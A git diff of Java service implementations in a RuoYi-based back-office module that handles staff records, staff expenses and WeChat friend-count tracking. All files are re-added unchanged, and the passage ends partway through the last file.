a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpStaffPayServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpStaffPayServiceImpl.java index a290ad0..daf49ce 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpStaffPayServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpStaffPayServiceImpl.java @@ -1,132 +1,132 @@ -package org.dromara.work.service.impl; - -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.TpStaffPay; -import org.dromara.work.domain.bo.TpStaffPayBo; -import org.dromara.work.domain.vo.TpStaffPayVo; -import org.dromara.work.mapper.TpStaffPayMapper; -import org.dromara.work.service.ITpStaffPayService; -import org.springframework.stereotype.Service; - -import java.util.Collection; -import java.util.List; -import java.util.Map; - -/** - * 客服支出记录Service业务层处理 - * - * @author Maosw - * @date 2024-08-12 - */ -@RequiredArgsConstructor -@Service -public class TpStaffPayServiceImpl implements ITpStaffPayService { - - private final TpStaffPayMapper baseMapper; - - /** - * 查询客服支出记录 - * - * @param id 主键 - * @return 客服支出记录 - */ - @Override - public TpStaffPayVo queryById(Long id){ - return baseMapper.selectVoById(id); - } - - /** - * 分页查询客服支出记录列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 客服支出记录分页列表 - */ - @Override - public TableDataInfo queryPageList(TpStaffPayBo bo, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(result); - } - - /** - * 查询符合条件的客服支出记录列表 - * - * @param bo 查询条件 - * @return 客服支出记录列表 - */ - @Override - public List queryList(TpStaffPayBo bo) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper buildQueryWrapper(TpStaffPayBo bo) { - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.eq(bo.getOid() != null, TpStaffPay::getOid, bo.getOid()); - lqw.eq(bo.getPrice() != null, TpStaffPay::getPrice, bo.getPrice()); - lqw.eq(StringUtils.isNotBlank(bo.getContent()), TpStaffPay::getContent, bo.getContent()); - lqw.eq(bo.getAddUser() != null, TpStaffPay::getAddUser, bo.getAddUser()); - lqw.eq(bo.getAddTime() != null, TpStaffPay::getAddTime, bo.getAddTime()); - return lqw; - } - - /** - * 新增客服支出记录 - * - * @param bo 客服支出记录 - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(TpStaffPayBo bo) { - TpStaffPay add = MapstructUtils.convert(bo, TpStaffPay.class); - validEntityBeforeSave(add); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setId(add.getId()); - } - return flag; - } - - /** - * 修改客服支出记录 - * - * @param bo 客服支出记录 - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(TpStaffPayBo bo) { - TpStaffPay update = MapstructUtils.convert(bo, TpStaffPay.class); - validEntityBeforeSave(update); - return baseMapper.updateById(update) > 0; - } - - /** - * 保存前的数据校验 - */ - private void validEntityBeforeSave(TpStaffPay entity){ - //TODO 做一些数据校验,如唯一约束 - } - - /** - * 校验并批量删除客服支出记录信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - if(isValid){ - //TODO 做一些业务上的校验,判断是否需要校验 - } - return baseMapper.deleteByIds(ids) > 0; - } -} +package org.dromara.work.service.impl; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.TpStaffPay; +import org.dromara.work.domain.bo.TpStaffPayBo; +import org.dromara.work.domain.vo.TpStaffPayVo; +import org.dromara.work.mapper.TpStaffPayMapper; +import org.dromara.work.service.ITpStaffPayService; +import org.springframework.stereotype.Service; + +import java.util.Collection; +import java.util.List; +import java.util.Map; + +/** + * 客服支出记录Service业务层处理 + * + * @author Maosw + * @date 2024-08-12 + */ +@RequiredArgsConstructor +@Service +public class TpStaffPayServiceImpl implements ITpStaffPayService { + + private final TpStaffPayMapper baseMapper; + + /** + * 查询客服支出记录 + * + * @param id 主键 + * @return 客服支出记录 + */ + @Override + public TpStaffPayVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + /** + * 分页查询客服支出记录列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 客服支出记录分页列表 + */ + @Override + public TableDataInfo queryPageList(TpStaffPayBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(result); + } + + /** + * 查询符合条件的客服支出记录列表 + * + * @param bo 查询条件 + * @return 客服支出记录列表 + */ + @Override + public List queryList(TpStaffPayBo bo) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(TpStaffPayBo bo) { + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.eq(bo.getOid() != null, TpStaffPay::getOid, bo.getOid()); + lqw.eq(bo.getPrice() != null, TpStaffPay::getPrice, bo.getPrice()); + lqw.eq(StringUtils.isNotBlank(bo.getContent()), TpStaffPay::getContent, bo.getContent()); + lqw.eq(bo.getAddUser() != null, TpStaffPay::getAddUser, bo.getAddUser()); + lqw.eq(bo.getAddTime() != null, TpStaffPay::getAddTime, bo.getAddTime()); + return lqw; + } + + /** + * 新增客服支出记录 + * + * @param bo 客服支出记录 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TpStaffPayBo bo) { + TpStaffPay add = MapstructUtils.convert(bo, TpStaffPay.class); + validEntityBeforeSave(add); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + /** + * 修改客服支出记录 + * + * @param bo 客服支出记录 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TpStaffPayBo bo) { + TpStaffPay update = MapstructUtils.convert(bo, TpStaffPay.class); + validEntityBeforeSave(update); + return baseMapper.updateById(update) > 0; + } + + /** + * 保存前的数据校验 + */ + private void validEntityBeforeSave(TpStaffPay entity){ + //TODO 做一些数据校验,如唯一约束 + } + + /** + * 校验并批量删除客服支出记录信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + if(isValid){ + //TODO 做一些业务上的校验,判断是否需要校验 + } + return baseMapper.deleteByIds(ids) > 0; + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpStaffServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpStaffServiceImpl.java index 5ec7f26..5b393ca 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpStaffServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpStaffServiceImpl.java @@ -1,142 +1,142 @@ -package org.dromara.work.service.impl; - -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.TpStaff; -import org.dromara.work.domain.bo.TpStaffBo; -import org.dromara.work.domain.vo.TpStaffVo; -import org.dromara.work.mapper.TpStaffMapper; -import org.dromara.work.service.ITpStaffService; -import org.springframework.stereotype.Service; - -import java.util.Collection; -import java.util.List; -import java.util.Map; - -/** - * 人员Service业务层处理 - * - * @author Maosw - * @date 2024-08-12 - */ -@RequiredArgsConstructor -@Service -public class TpStaffServiceImpl implements ITpStaffService { - - private final TpStaffMapper baseMapper; - - /** - * 查询人员 - * - * @param id 主键 - * @return 人员 - */ - @Override - public TpStaffVo queryById(Long id){ - return baseMapper.selectVoById(id); - } - - /** - * 分页查询人员列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 人员分页列表 - */ - @Override - public TableDataInfo queryPageList(TpStaffBo bo, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(result); - } - - /** - * 查询符合条件的人员列表 - * - * @param bo 查询条件 - * @return 人员列表 - */ - @Override - public List queryList(TpStaffBo bo) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper buildQueryWrapper(TpStaffBo bo) { - Map params = bo.getParams(); - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.like(StringUtils.isNotBlank(bo.getUsername()), TpStaff::getUsername, bo.getUsername()); - lqw.eq(StringUtils.isNotBlank(bo.getCode()), TpStaff::getCode, bo.getCode()); - lqw.like(StringUtils.isNotBlank(bo.getName()), TpStaff::getName, bo.getName()); - lqw.eq(bo.getCid() != null, TpStaff::getCid, bo.getCid()); - lqw.eq(StringUtils.isNotBlank(bo.getPhone()), TpStaff::getPhone, bo.getPhone()); - lqw.eq(bo.getYear() != null, TpStaff::getYear, bo.getYear()); - lqw.eq(bo.getWork() != null, TpStaff::getWork, bo.getWork()); - lqw.eq(StringUtils.isNotBlank(bo.getType()), TpStaff::getType, bo.getType()); - lqw.eq(StringUtils.isNotBlank(bo.getPassword()), TpStaff::getPassword, bo.getPassword()); - lqw.eq(bo.getIdentity() != null, TpStaff::getIdentity, bo.getIdentity()); - lqw.eq(bo.getRid() != null, TpStaff::getRid, bo.getRid()); - lqw.eq(bo.getState() != null, TpStaff::getState, bo.getState()); - lqw.eq(bo.getIsDel() != null, TpStaff::getIsDel, bo.getIsDel()); - lqw.eq(bo.getAddTime() != null, TpStaff::getAddTime, bo.getAddTime()); - lqw.eq(bo.getYue() != null, TpStaff::getYue, bo.getYue()); - lqw.eq(bo.getUpType() != null, TpStaff::getUpType, bo.getUpType()); - lqw.eq(bo.getUrid() != null, TpStaff::getUrid, bo.getUrid()); - return lqw; - } - - /** - * 新增人员 - * - * @param bo 人员 - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(TpStaffBo bo) { - TpStaff add = MapstructUtils.convert(bo, TpStaff.class); - validEntityBeforeSave(add); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setId(add.getId()); - } - return flag; - } - - /** - * 修改人员 - * - * @param bo 人员 - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(TpStaffBo bo) { - TpStaff update = MapstructUtils.convert(bo, TpStaff.class); - validEntityBeforeSave(update); - return baseMapper.updateById(update) > 0; - } - - /** - * 保存前的数据校验 - */ - private void validEntityBeforeSave(TpStaff entity){ - //TODO 做一些数据校验,如唯一约束 - } - - /** - * 校验并批量删除人员信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - return baseMapper.deleteByIds(ids) > 0; - } -} +package org.dromara.work.service.impl; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.TpStaff; +import org.dromara.work.domain.bo.TpStaffBo; +import org.dromara.work.domain.vo.TpStaffVo; +import org.dromara.work.mapper.TpStaffMapper; +import org.dromara.work.service.ITpStaffService; +import org.springframework.stereotype.Service; + +import java.util.Collection; +import java.util.List; +import java.util.Map; + +/** + * 人员Service业务层处理 + * + * @author Maosw + * @date 2024-08-12 + */ +@RequiredArgsConstructor +@Service +public class TpStaffServiceImpl implements ITpStaffService { + + private final TpStaffMapper baseMapper; + + /** + * 查询人员 + * + * @param id 主键 + * @return 人员 + */ + @Override + public TpStaffVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + /** + * 分页查询人员列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 人员分页列表 + */ + @Override + public TableDataInfo queryPageList(TpStaffBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(result); + } + + /** + * 查询符合条件的人员列表 + * + * @param bo 查询条件 + * @return 人员列表 + */ + @Override + public List queryList(TpStaffBo bo) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(TpStaffBo bo) { + Map params = bo.getParams(); + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.like(StringUtils.isNotBlank(bo.getUsername()), TpStaff::getUsername, bo.getUsername()); + lqw.eq(StringUtils.isNotBlank(bo.getCode()), TpStaff::getCode, bo.getCode()); + lqw.like(StringUtils.isNotBlank(bo.getName()), TpStaff::getName, bo.getName()); + lqw.eq(bo.getCid() != null, TpStaff::getCid, bo.getCid()); + lqw.eq(StringUtils.isNotBlank(bo.getPhone()), TpStaff::getPhone, bo.getPhone()); + lqw.eq(bo.getYear() != null, TpStaff::getYear, bo.getYear()); + lqw.eq(bo.getWork() != null, TpStaff::getWork, bo.getWork()); + lqw.eq(StringUtils.isNotBlank(bo.getType()), TpStaff::getType, bo.getType()); + lqw.eq(StringUtils.isNotBlank(bo.getPassword()), TpStaff::getPassword, bo.getPassword()); + lqw.eq(bo.getIdentity() != null, TpStaff::getIdentity, bo.getIdentity()); + lqw.eq(bo.getRid() != null, TpStaff::getRid, bo.getRid()); + lqw.eq(bo.getState() != null, TpStaff::getState, bo.getState()); + lqw.eq(bo.getIsDel() != null, TpStaff::getIsDel, bo.getIsDel()); + lqw.eq(bo.getAddTime() != null, TpStaff::getAddTime, bo.getAddTime()); + lqw.eq(bo.getYue() != null, TpStaff::getYue, bo.getYue()); + lqw.eq(bo.getUpType() != null, TpStaff::getUpType, bo.getUpType()); + lqw.eq(bo.getUrid() != null, TpStaff::getUrid, bo.getUrid()); + return lqw; + } + + /** + * 新增人员 + * + * @param bo 人员 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TpStaffBo bo) { + TpStaff add = MapstructUtils.convert(bo, TpStaff.class); + validEntityBeforeSave(add); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + /** + * 修改人员 + * + * @param bo 人员 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TpStaffBo bo) { + TpStaff update = MapstructUtils.convert(bo, TpStaff.class); + validEntityBeforeSave(update); + return baseMapper.updateById(update) > 0; + } + + /** + * 保存前的数据校验 + */ + private void validEntityBeforeSave(TpStaff entity){ + //TODO 做一些数据校验,如唯一约束 + } + + /** + * 校验并批量删除人员信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + return baseMapper.deleteByIds(ids) > 0; + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpWechatNumServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpWechatNumServiceImpl.java index 1626299..a5aa7ef 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpWechatNumServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpWechatNumServiceImpl.java @@ -1,159 +1,159 @@ -package org.dromara.work.service.impl; - -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.work.domain.TpWechat; -import org.dromara.work.domain.TpWechatNum; -import org.dromara.work.domain.bo.TpWechatNumBo; -import org.dromara.work.domain.vo.TpWechatNumVo; -import org.dromara.work.mapper.TpWechatMapper; -import org.dromara.work.mapper.TpWechatNumMapper; -import org.dromara.work.service.ITpWechatNumService; -import org.springframework.stereotype.Service; - -import java.util.Collection; -import java.util.Date; -import java.util.List; -import java.util.Map; - -/** - * 更新好友数记录Service业务层处理 - * - * @author Maosw - * @date 2024-08-12 - */ -@RequiredArgsConstructor -@Service -public class TpWechatNumServiceImpl implements ITpWechatNumService { - - private final TpWechatNumMapper baseMapper; - - private final TpWechatMapper wechatMapper; - - /** - * 查询更新好友数记录 - * - * @param id 主键 - * @return 更新好友数记录 - */ - @Override - public TpWechatNumVo queryById(Long id){ - return baseMapper.selectVoById(id); - } - - /** - * 分页查询更新好友数记录列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 更新好友数记录分页列表 - */ - @Override - public TableDataInfo queryPageList(TpWechatNumBo bo, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - lqw.orderByDesc(TpWechatNum::getId); - Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(result); - } - - /** - * 查询符合条件的更新好友数记录列表 - * - * @param bo 查询条件 - * @return 更新好友数记录列表 - */ - @Override - public List queryList(TpWechatNumBo bo) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper buildQueryWrapper(TpWechatNumBo bo) { - Map params = bo.getParams(); - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.eq(bo.getWid() != null, TpWechatNum::getWid, bo.getWid()); - lqw.eq(bo.getNum() != null, TpWechatNum::getNum, bo.getNum()); - lqw.eq(bo.getAddUser() != null, TpWechatNum::getAddUser, bo.getAddUser()); - lqw.like(StringUtils.isNotBlank(bo.getAddname()), TpWechatNum::getAddname, bo.getAddname()); - lqw.between(params.get("beginCreateTime") != null && params.get("endCreateTime") != null, - TpWechatNum::getAddTime ,params.get("beginCreateTime"), params.get("endCreateTime")); - return lqw; - } - - /** - * 新增更新好友数记录 - * - * @param bo 更新好友数记录 - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(TpWechatNumBo bo) { - LoginUser loginUser = LoginHelper.getLoginUser(); - - TpWechat tpWechat = wechatMapper.selectById(bo.getWid()); - boolean exist = baseMapper.exists(new LambdaQueryWrapper().eq(TpWechatNum::getWid, bo.getWid()).eq(TpWechatNum::getAddUser, loginUser.getUserId()).orderByDesc(TpWechatNum::getId)); - if(exist){ - TpWechatNum tpWechatNum = baseMapper.selectList(new LambdaQueryWrapper().eq(TpWechatNum::getWid, bo.getWid()).eq(TpWechatNum::getAddUser, loginUser.getUserId()).orderByDesc(TpWechatNum::getId)).get(0); - if(tpWechatNum != null){ - Long num = bo.getTotal() - tpWechatNum.getTotal(); - bo.setNum(num); - bo.setInitial(tpWechat.getNum()); - } - }else { - Long num = bo.getTotal() - tpWechat.getNum(); - bo.setNum(num); - bo.setInitial(tpWechat.getNum()); - } - - bo.setAddUser(loginUser.getUserId()); - bo.setAddname(loginUser.getNickname()); - bo.setAddTime(new Date()); - TpWechatNum add = MapstructUtils.convert(bo, TpWechatNum.class); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - TpWechat wechat = wechatMapper.selectById(bo.getWid()); - wechat.setAllnum(bo.getTotal()); - wechatMapper.updateById(wechat); - } - return flag; - } - - /** - * 修改更新好友数记录 - * - * @param bo 更新好友数记录 - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(TpWechatNumBo bo) { - TpWechatNum tpWechatNum = baseMapper.selectById(bo.getId()); - Long num = bo.getTotal() - tpWechatNum.getTotal(); - bo.setNum(num); - TpWechatNum update = MapstructUtils.convert(bo, TpWechatNum.class); - - TpWechat wechat = wechatMapper.selectById(bo.getWid()); - wechat.setAllnum(bo.getTotal()); - wechatMapper.updateById(wechat); - return baseMapper.updateById(update) > 0; - } - - /** - * 校验并批量删除更新好友数记录信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - return baseMapper.deleteByIds(ids) > 0; - } -} +package org.dromara.work.service.impl; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.work.domain.TpWechat; +import org.dromara.work.domain.TpWechatNum; +import org.dromara.work.domain.bo.TpWechatNumBo; +import org.dromara.work.domain.vo.TpWechatNumVo; +import org.dromara.work.mapper.TpWechatMapper; +import org.dromara.work.mapper.TpWechatNumMapper; +import org.dromara.work.service.ITpWechatNumService; +import org.springframework.stereotype.Service; + +import java.util.Collection; +import java.util.Date; +import java.util.List; +import java.util.Map; + +/** + * 更新好友数记录Service业务层处理 + * + * @author Maosw + * @date 2024-08-12 + */ +@RequiredArgsConstructor +@Service +public class TpWechatNumServiceImpl implements ITpWechatNumService { + + private final TpWechatNumMapper baseMapper; + + private final TpWechatMapper wechatMapper; + + /** + * 查询更新好友数记录 + * + * @param id 主键 + * @return 更新好友数记录 + */ + @Override + public TpWechatNumVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + /** + * 分页查询更新好友数记录列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 更新好友数记录分页列表 + */ + @Override + public TableDataInfo queryPageList(TpWechatNumBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + lqw.orderByDesc(TpWechatNum::getId); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(result); + } + + /** + * 查询符合条件的更新好友数记录列表 + * + * @param bo 查询条件 + * @return 更新好友数记录列表 + */ + @Override + public List queryList(TpWechatNumBo bo) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(TpWechatNumBo bo) { + Map params = bo.getParams(); + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.eq(bo.getWid() != null, TpWechatNum::getWid, bo.getWid()); + lqw.eq(bo.getNum() != null, TpWechatNum::getNum, bo.getNum()); + lqw.eq(bo.getAddUser() != null, TpWechatNum::getAddUser, bo.getAddUser()); + lqw.like(StringUtils.isNotBlank(bo.getAddname()), TpWechatNum::getAddname, bo.getAddname()); + lqw.between(params.get("beginCreateTime") != null && params.get("endCreateTime") != null, + TpWechatNum::getAddTime ,params.get("beginCreateTime"), params.get("endCreateTime")); + return lqw; + } + + /** + * 新增更新好友数记录 + * + * @param bo 更新好友数记录 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TpWechatNumBo bo) { + LoginUser loginUser = LoginHelper.getLoginUser(); + + TpWechat tpWechat = wechatMapper.selectById(bo.getWid()); + boolean exist = baseMapper.exists(new LambdaQueryWrapper().eq(TpWechatNum::getWid, bo.getWid()).eq(TpWechatNum::getAddUser, loginUser.getUserId()).orderByDesc(TpWechatNum::getId)); + if(exist){ + TpWechatNum tpWechatNum = baseMapper.selectList(new LambdaQueryWrapper().eq(TpWechatNum::getWid, bo.getWid()).eq(TpWechatNum::getAddUser, loginUser.getUserId()).orderByDesc(TpWechatNum::getId)).get(0); + if(tpWechatNum != null){ + Long num = bo.getTotal() - tpWechatNum.getTotal(); + bo.setNum(num); + bo.setInitial(tpWechat.getNum()); + } + }else { + Long num = bo.getTotal() - tpWechat.getNum(); + bo.setNum(num); + bo.setInitial(tpWechat.getNum()); + } + + bo.setAddUser(loginUser.getUserId()); + bo.setAddname(loginUser.getNickname()); + bo.setAddTime(new Date()); + TpWechatNum add = MapstructUtils.convert(bo, TpWechatNum.class); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + TpWechat wechat = wechatMapper.selectById(bo.getWid()); + wechat.setAllnum(bo.getTotal()); + wechatMapper.updateById(wechat); + } + return flag; + } + + /** + * 修改更新好友数记录 + * + * @param bo 更新好友数记录 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TpWechatNumBo bo) { + TpWechatNum tpWechatNum = baseMapper.selectById(bo.getId()); + Long num = bo.getTotal() - tpWechatNum.getTotal(); + bo.setNum(num); + TpWechatNum update = MapstructUtils.convert(bo, TpWechatNum.class); + + TpWechat wechat = wechatMapper.selectById(bo.getWid()); + wechat.setAllnum(bo.getTotal()); + wechatMapper.updateById(wechat); + return baseMapper.updateById(update) > 0; + } + + /** + * 校验并批量删除更新好友数记录信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + return baseMapper.deleteByIds(ids) > 0; + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpWechatServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpWechatServiceImpl.java index 468c958..f060e8f 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpWechatServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpWechatServiceImpl.java @@ -1,571 +1,571 @@ -package org.dromara.work.service.impl; - -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.dto.RoleDTO; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.system.domain.SysDept; -import org.dromara.system.domain.SysRoleDept; -import org.dromara.system.domain.SysUser; -import org.dromara.system.domain.vo.SysUserVo; -import org.dromara.system.mapper.SysDeptMapper; -import org.dromara.system.mapper.SysRoleDeptMapper; -import org.dromara.system.mapper.SysUserMapper; -import org.dromara.work.domain.TpOrder; -import org.dromara.work.domain.TpWechat; -import org.dromara.work.domain.TpWechatNum; -import org.dromara.work.domain.TpWechatUser; -import org.dromara.work.domain.bo.OrderRankingBo; -import org.dromara.work.domain.bo.TpWechatBo; -import org.dromara.work.domain.vo.TpWechatVo; -import org.dromara.work.domain.vo.WechatSumVo; -import org.dromara.work.domain.vo.WxNumDayListVo; -import org.dromara.work.mapper.TpOrderMapper; -import org.dromara.work.mapper.TpWechatMapper; -import org.dromara.work.mapper.TpWechatNumMapper; -import org.dromara.work.mapper.TpWechatUserMapper; -import org.dromara.work.service.ITpWechatService; -import org.springframework.stereotype.Service; - -import java.math.BigDecimal; -import java.util.*; -import java.util.stream.Collectors; - -/** - * 基本信息Service业务层处理 - * - * @author Maosw - * @date 2024-08-12 - */ -@RequiredArgsConstructor -@Service -public class TpWechatServiceImpl implements ITpWechatService { - - private final TpWechatMapper baseMapper; - - private final SysUserMapper userMapper; - - private final TpWechatUserMapper wechatUserMapper; - - private final TpWechatNumMapper wechatNumMapper; - - private final SysDeptMapper deptMapper; - - private final SysRoleDeptMapper roleDeptMapper; - - private final TpOrderMapper orderMapper; - - - /** - * 查询基本信息 - * - * @param id 主键 - * @return 基本信息 - */ - @Override - public TpWechatVo queryById(Long id){ - return baseMapper.selectVoById(id); - } - - /** - * 分页查询基本信息列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 基本信息分页列表 - */ - @Override - public TableDataInfo queryPageList(TpWechatBo bo, PageQuery 